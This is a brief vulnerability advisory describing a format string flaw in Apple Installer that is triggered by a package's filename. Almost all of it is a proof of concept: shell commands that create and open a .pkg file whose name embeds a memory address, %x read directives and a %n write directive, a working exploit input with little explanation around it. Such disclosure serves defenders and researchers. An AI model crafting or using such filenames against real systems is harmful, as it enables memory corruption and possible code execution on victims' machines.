Apple Installer Package Filename Format String Vulnerability

Apple Installer Package Filename Format String Vulnerability

A proof-of-concept file can be created with the touch command:

$ touch AAAA`ruby -e 'require "cgi"; print CGI::escape("\x9c\xe7\xff\xbf") + CGI::escape("%.20d") + CGI::escape("%x" * 20)'`%n.pkg
$ open AAAA%9C%E7%FF%BF%25.20d%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%n.pkg